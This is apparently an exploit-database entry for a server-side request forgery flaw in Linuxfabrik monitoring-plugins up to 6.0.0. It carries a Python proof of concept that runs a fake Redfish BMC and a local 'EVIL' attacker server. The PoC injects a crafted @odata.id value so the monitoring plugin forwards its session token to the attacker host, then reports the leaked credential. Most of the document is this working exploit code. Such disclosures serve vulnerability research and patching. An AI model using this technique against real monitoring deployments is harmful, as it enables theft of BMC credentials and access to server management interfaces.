Linuxfabrik monitoring_plugins_6.0.0 – SSRF
# Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins # Software Link: https://github.com/Linuxfabrik/monitoring-plugins # Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (redfish_ssrf_token_poc.py) --- import http.server, json, subprocess, threading, os, sys BMC_PORT, EVIL_PORT = 18080, 18081 EVIL_HITS = [] TOKEN = 'SESSION-TOKEN-SECRET-abc123' class BMC(http.server.BaseHTTPRequestHandler): def _j(self, obj, extra=None): b=json.dumps(obj).encode(); self.send_response(200) self.send_header('Content-Type','application/json') if extra: for k,v in extra.items(): self.send_header(k,v) self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b) def do_POST(self): # session create -> issue token self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN}) def do_GET(self): if self.path.endswith('/SessionService'): self._j({'SessionTimeout':600}) elif self.path.endswith('/Systems'): self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]}) else: self._j({'Members':[]}) def log_message(self,*a): pass class EVIL(http.server.BaseHTTPRequestHandler): def _rec(self): EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization'))) b=b'{"Members": []}'; self.send_response(200) self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b) do_GET=_rec; do_POST=_rec def log_message(self,*a): pass def serve(port,h): httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h) threading.Thread(target=httpd.serve_forever,daemon=True).start() serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL) env=dict(os.environ,PYTHONPATH='/opt') plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces' cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 '] p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60) print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300]) print('EVIL hits:',len(EVIL_HITS)) for m,path,tok,auth in EVIL_HITS: print(f' {m} {path} X-Auth-Token={tok} Authorization={auth}') print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked') |